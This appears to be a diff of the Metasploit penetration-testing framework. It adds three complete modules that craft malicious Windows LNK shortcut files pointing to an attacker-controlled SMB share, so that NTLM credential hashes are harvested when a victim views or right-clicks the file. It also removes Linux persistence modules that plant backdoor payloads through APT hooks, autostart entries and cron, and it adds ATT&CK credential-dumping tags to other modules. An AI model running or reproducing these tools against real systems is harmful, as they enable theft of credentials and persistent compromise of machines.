data << [block_size].pack('V')
signature = 0xA0000001
data << [signature].pack('V')
env_path = '%windir%\\system32\\cmd.exe'
ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
data << ansi_buffer
unicode_buffer = env_path.encode('UTF-16LE')
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
data << unicode_buffer
data
end
end
@@ -0,0 +1,185 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.
When a victim right-click the generated LNK file, it will attempt to connect to the
the specified UNC path, resulting in an SMB connection that can be captured
to harvest credentials.
},
'License' => MSF_LICENSE,
'Author' => [
'Nafiez', # Original POC & Module
],
'References' => [
['URL', 'https://zeifan.my/Right-Click-LNK/']
],
'Platform' => 'win',
'Targets' => [
['Windows', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
'Reliability' => []
}
)
)
register_options([
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
])
end
def run
lnk_data = create_lnk_file
filename = file_create(lnk_data)
print_good("LNK file created: #{filename}")
start_smb_capture_server
print_status("Listening for hashes on #{srvhost}:#{srvport}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
def create_lnk_file
data = ''.b
# LNK header - 76 bytes
header = "\x4C\x00\x00\x00".b
# LinkCLSID (00021401-0000-0000-C000-000000000046)
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
# Define LinkFlags
link_flags = 0x00000000
link_flags |= 0x00000004 # HAS_NAME
link_flags |= 0x00000020 # HAS_ARGUMENTS
link_flags |= 0x00000040 # HAS_ICON_LOCATION
link_flags |= 0x00000080 # IS_UNICODE
link_flags |= 0x00000200 # HAS_EXP_STRING
header += [link_flags].pack('V')
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
header += "\x20\x00\x00\x00".b
# CreationTime, AccessTime, WriteTime (zeroed)
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
# FileSize
header += "\x00\x00\x00\x00".b
# IconIndex
header += "\x00\x00\x00\x00".b
# ShowCommand (SW_SHOWNORMAL)
header += "\x01\x00\x00\x00".b
# HotKey
header += "\x00\x00".b
# Reserved fields
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
# Add the header to our binary data
data += header
# NAME field (description in Unicode)
description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)
description_utf16 = description.encode('UTF-16LE').b
data += [description_utf16.bytesize / 2].pack('v')
data += description_utf16
# ARGUMENTS field (command line arguments in Unicode)
padding_size = datastore['PADDING_SIZE']
cmd_args = ' ' * padding_size
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
data += [cmd_args_utf16.bytesize / 2].pack('v')
data += cmd_args_utf16
# ICON LOCATION field (icon path in Unicode)
icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'
icon_path_utf16 = icon_path.encode('UTF-16LE').b
data += [icon_path_utf16.bytesize / 2].pack('v')
data += icon_path_utf16
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
env_block_size = 0x00000314 # Total size of this block
env_block_sig = 0xA0000001 # Environmental Variables block signature
data += [env_block_size].pack('V')
data += [env_block_sig].pack('V')
# Target field in ANSI (260 bytes)
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{srvhost}\\#{unc_share}"
# Create fixed-size ANSI buffer with nulls
ansi_buffer = "\x00".b * 260
# Copy the UNC path bytes into the buffer
unc_path.bytes.each_with_index do |byte, i|
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
end
data += ansi_buffer
# Target field in Unicode (520 bytes)
unc_path_utf16 = unc_path.encode('UTF-16LE').b
# Create fixed-size Unicode buffer with nulls
unicode_buffer = "\x00".b * 520
# Copy the UTF-16LE encoded UNC path bytes into the buffer
unc_path_utf16.bytes.each_with_index do |byte, i|
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
end
data += unicode_buffer
data += "\x00\x00\x00\x00".b
data
end
def get_unc_path
"\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"
end
def start_smb_capture_server
start_service
print_status('The SMB service has been started.')
end
end
@@ -0,0 +1,183 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.
When a victim browse to the location of the LNK file, it will attempt to
connect to the the specified UNC path, resulting in an SMB connection that
can be captured to harvest credentials.
},
'License' => MSF_LICENSE,
'Author' => [
'Nafiez', # Original POC & MSF Module
],
'References' => [
['URL', 'https://zeifan.my/Right-Click-LNK/']
],
'Platform' => 'win',
'Targets' => [
['Windows', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK],
'Reliability' => []
}
)
)
register_options([
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])
])
end
def run
description = datastore['DESCRIPTION']
icon_path = datastore['ICON_PATH']
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?
start_smb_capture_server
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{srvhost}\\\\#{unc_share}"
lnk_data = create_lnk_file(description, icon_path, unc_path)
filename = file_create(lnk_data)
print_good("LNK file created: #{filename}")
print_status("Listening for hashes on #{srvhost}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
def create_lnk_file(description, icon_path, unc_path)
data = ''.b
# LNK header - 76 bytes
header = "\x4C\x00\x00\x00".b
# LinkCLSID (00021401-0000-0000-C000-000000000046)
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
# Define LinkFlags
link_flags = 0x00000000
link_flags |= 0x00000004 # HAS_NAME
link_flags |= 0x00000020 # HAS_ARGUMENTS
link_flags |= 0x00000040 # HAS_ICON_LOCATION
link_flags |= 0x00000080 # IS_UNICODE
link_flags |= 0x00004000 # HAS_EXP_ICON
header += [link_flags].pack('V')
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
header += "\x20\x00\x00\x00".b
# CreationTime, AccessTime, WriteTime (zeroed)
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
# FileSize
header += "\x00\x00\x00\x00".b
# IconIndex
header += "\x00\x00\x00\x00".b
# ShowCommand (SW_SHOWNORMAL)
header += "\x01\x00\x00\x00".b
# HotKey
header += "\x00\x00".b
# Reserved fields
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
# Add the header to our binary data
data += header
# NAME field (description in Unicode)
description_utf16 = description.encode('UTF-16LE').b
data += [description_utf16.bytesize / 2].pack('v')
data += description_utf16
# ARGUMENTS field (command line arguments in Unicode)
padding_size = datastore['PADDING_SIZE']
cmd_args = ' ' * padding_size
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
data += [cmd_args_utf16.bytesize / 2].pack('v')
data += cmd_args_utf16
# ICON LOCATION field (icon path in Unicode)
icon_path_utf16 = icon_path.encode('UTF-16LE').b
data += [icon_path_utf16.bytesize / 2].pack('v')
data += icon_path_utf16
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
env_block_size = 0x00000314 # Total size of this block
env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE
data += [env_block_size].pack('V')
data += [env_block_sig].pack('V')
# Create fixed-size ANSI buffer with nulls
ansi_buffer = "\x00".b * 260
# Copy the UNC path bytes into the buffer
unc_path.bytes.each_with_index do |byte, i|
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
end
data += ansi_buffer
# Target field in Unicode (520 bytes)
unc_path_utf16 = unc_path.encode('UTF-16LE').b
# Create fixed-size Unicode buffer with nulls
unicode_buffer = "\x00".b * 520
# Copy the UTF-16LE encoded UNC path bytes into the buffer
unc_path_utf16.bytes.each_with_index do |byte, i|
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
end
data += unicode_buffer
data += "\x00\x00\x00\x00".b
data
end
def start_smb_capture_server
start_service
end
end
@@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.
When a victim browse to the location of the LNK file, it will attempt to
connect to the the specified UNC path, resulting in an SMB connection that
can be captured to harvest credentials.
},
'Author' => [ 'Nafiez' ],
'License' => MSF_LICENSE,
'References' => [
[
'URL', 'https://zeifan.my/Right-Click-LNK/',
'EDB', '42382',
]
],
'Platform' => 'win',
'Targets' => [ [ 'Windows Universal', {} ] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10
)
)
register_options([
OptString.new('APPNAME', [ false, 'Name of the application to display', nil])
])
end
def generate_shell_link_header
header = ''
header << [0x4C].pack('L') # HeaderSize (4 bytes)
header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)
header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode
header << [0x00].pack('L') # FileAttributes (4 bytes)
header << [0x00].pack('Q') # CreationTime (8 bytes)
header << [0x00].pack('Q') # AccessTime (8 bytes)
header << [0x00].pack('Q') # WriteTime (8 bytes)
header << [0x00].pack('L') # FileSize (4 bytes)
header << [0x00].pack('L') # IconIndex (4 bytes)
header << [0x00].pack('L') # ShowCommand (4 bytes)
header << [0x00].pack('S') # HotKey (2 bytes)
header << [0x00].pack('S') # Reserved1 (2 bytes)
header << [0x00].pack('L') # Reserved2 (4 bytes)
header << [0x00].pack('L') # Reserved3 (4 bytes)
header
end
def generate_item_id(data)
[data.length + 2].pack('S') + data
end
def generate_lnk_special(path, name)
# Force encoding to ASCII-8BIT (binary) to avoid encoding issues
path = path.dup.force_encoding('ASCII-8BIT')
name = name.dup.force_encoding('ASCII-8BIT')
# Add null terminator
path += "\x00".force_encoding('ASCII-8BIT')
name += "\x00".force_encoding('ASCII-8BIT')
# Convert to UTF-16LE manually
path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')
name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')
# Remove BOM (first 2 bytes) if present
path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")
name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")
bin_data = ''.force_encoding('ASCII-8BIT')
bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')
bin_data << [path.length].pack('S')
bin_data << [name.length].pack('S')
bin_data << path_utf16
bin_data << name_utf16
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment
bin_data
end
def generate_linktarget_idlist(path, name)
idlist = ''.force_encoding('ASCII-8BIT')
# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html
# First ItemID - My Computer / This PC
# {20D04FE0-3AEA-1069-A2D8-08002B30309D}
field_size_id1 = "\x1f\x50"
first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id1 + first_id)
# Second ItemID - Control Panel (All Tasks)
# {ED7BA470-8E54-465E-825C-99712043E01C}
field_size_id2 = "\x2e\x80"
second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id2 + second_id)
# Custom ItemID - Our UNC path
idlist << generate_item_id(generate_lnk_special(path, name))
# TerminalID
idlist << "\x00\x00".force_encoding('ASCII-8BIT')
# Full IDList with size
[idlist.length].pack('S') + idlist
end
def generate_extra_data
extra = ''.force_encoding('ASCII-8BIT')
extra << [0x10].pack('L') # BlockSize (4 bytes)
extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)
extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel
extra << [0x28].pack('L') # Offset (4 bytes)
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)
extra
end
def ms_shllink(path, name)
lnk_data = ''.force_encoding('ASCII-8BIT')
lnk_data << generate_shell_link_header
lnk_data << generate_linktarget_idlist(path, name)
lnk_data << generate_extra_data
lnk_data
end
def run
app_name = datastore['APPNAME']
app_name = "#{Faker::App.name}Application" if app_name.blank?
start_service
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"
lnk_data = ms_shllink(unc_path, app_name)
file_create(lnk_data)
print_good("LNK file created: #{datastore['FILENAME']}")
print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
end
@@ -34,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
# Rapid7 ETR advisory for CVE-2024-24919
[ 'URL', 'https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/' ],
# Publication of first proof-of-concept exploit
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ]
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ],
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
]
)
)
@@ -31,7 +31,8 @@ class MetasploitModule < Msf::Auxiliary
%w[EDB 47288],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
['URL', 'https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf'],
['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/']
['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/'],
['ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW]
],
'Author' => [
'Meh Chang', # discovery and PoC
+2 -1
View File
@@ -40,7 +40,8 @@ class MetasploitModule < Msf::Auxiliary
],
'References' => [
['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py']
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
],
'DisclosureDate' => '2020-07-23',
'License' => MSF_LICENSE,
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
],
'References' => [
['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
],
'DisclosureDate' => '2017-01-31',
'License' => MSF_LICENSE,
+2 -1
View File
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
['EDB', '48531'],
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE'],
['ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW]
],
'DisclosureDate' => '2019-11-25', # Vendor advisory
'Actions' => [
@@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
],
'DisclosureDate' => '2020-04-09', # Vendor advisory
'License' => MSF_LICENSE,
@@ -68,6 +68,10 @@ class MetasploitModule < Msf::Auxiliary
],
'References' => [
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
['ATT&CK', Mitre::Attack::Technique::T1003_002_SECURITY_ACCOUNT_MANAGER],
['ATT&CK', Mitre::Attack::Technique::T1003_004_LSA_SECRETS],
['ATT&CK', Mitre::Attack::Technique::T1003_005_CACHED_DOMAIN_CREDENTIALS],
['ATT&CK', Mitre::Attack::Technique::T1003_006_DCSYNC]
],
'Notes' => {
'Reliability' => [],
@@ -19,7 +19,8 @@ class MetasploitModule < Msf::Auxiliary
},
'References' => [
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
],
'Author' => [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
@@ -113,8 +113,14 @@ class MetasploitModule < Msf::Auxiliary
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 30,
max_send_size: (datastore['TCP::max_send_size']),
send_delay: (datastore['TCP::send_delay']),
framework: framework,
framework_module: self,
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion'],
ssl_verify_mode: datastore['SSLVerifyMode'],
ssl_cipher: datastore['SSLCipher'],
use_client_as_proof: create_session?
)
)
+3 -3
View File
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
]
)
options_to_deregister = %w[USERNAME PASSWORD CommandShellCleanupCommand AutoVerifySession]
options_to_deregister = %w[USERNAME PASSWORD CommandShellCleanupCommand AutoVerifySession KrbCacheMode]
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
add_info('New in Metasploit 6.4 - The %grnCreateSession%clr option within this module can open an interactive session')
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?
if !datastore['PASSWORD']
if datastore['SMBPass'].blank?
# In case no password has been provided, we assume the user wants to use Kerberos tickets stored in cache
# Write mode is still enable in case new TGS tickets are retrieved.
ticket_storage = kerberos_ticket_storage({ read: true, write: true })
@@ -178,7 +178,7 @@ class MetasploitModule < Msf::Auxiliary
realm: domain,
username: datastore['SMBUser'],
password: datastore['SMBPass'],
ignore_private: datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['PASSWORD']
nil_passwords: datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS && datastore['SMBPass'].blank?
)
cred_collection = prepend_db_hashes(cred_collection)
@@ -32,7 +32,10 @@ class MetasploitModule < Msf::Auxiliary
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
},
'References' => [
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
]
)
)
@@ -39,7 +39,8 @@ class MetasploitModule < Msf::Exploit::Remote
['CVE', '2022-24989'],
['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'],
['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'],
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990']
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
],
'DisclosureDate' => '2022-03-07',
'Platform' => ['unix', 'linux'],
@@ -1,103 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info = {})
super(
update_info(
info,
'Name' => 'APT Package Manager Persistence',
'Description' => %q{
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
]
)
register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])
]
)
end
def exploit
hook_path = '/etc/apt/apt.conf.d/'
unless writable? hook_path
fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
end
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
backdoor_path = datastore['WritableDir']
unless writable? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
end
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name
print_status('Attempting to write hook:')
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
write_file(hook_path, hook_script)
unless exist? hook_path
fail_with Failure::Unknown, 'Failed to write Hook'
end
print_status("Wrote #{hook_path}")
if payload.arch.first == 'cmd'
write_file(backdoor_path, payload.encoded)
else
write_file(backdoor_path, generate_payload_exe)
end
unless exist? backdoor_path
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
end
print_status("Backdoor uploaded #{backdoor_path}")
print_status('Backdoor will run on next APT update')
# permissions chosen to reflect common perms in /usr/local/bin/
chmod(backdoor_path, 0755)
end
end
@@ -1,69 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Autostart Desktop Item Persistence',
'Description' => %q{
This module will create an autostart entry to execute a payload.
The payload will be executed when the users logs in.
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '#%\n"',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python netcat perl'
}
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
end
def exploit
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
home = cmd_exec('echo ~')
path = "#{home}/.config/autostart/#{name}.desktop"
print_status('Making sure the autostart directory exists')
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
print_status("Uploading autostart file #{path}")
write_file(path, [
"[Desktop Entry]",
"Type=Application",
"Name=#{name}",
"NoDisplay=true",
"Terminal=false",
"Exec=/bin/sh -c \"#{payload.encoded}\""
].join("\n"))
end
end
@@ -1,139 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cron Persistence',
'Description' => %q{
This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => ['unix', 'linux'],
'Targets' => [
[ 'Cron', { :path => '/etc/cron.d' } ],
[ 'User Crontab', { :path => '/var/spool/cron' } ],
[ 'System Crontab', { :path => '/etc' } ]
],
'DefaultTarget' => 1,
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python'
}
},
'DefaultOptions' => { 'WfsDelay' => 90 },
'DisclosureDate' => '1979-07-01',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
} # Version 7 Unix release date (first cron implementation)
)
)
register_options(
[
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
], self.class
)
end
def exploit
# https://gist.github.com/istvanp/310203 for cron regex validator
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
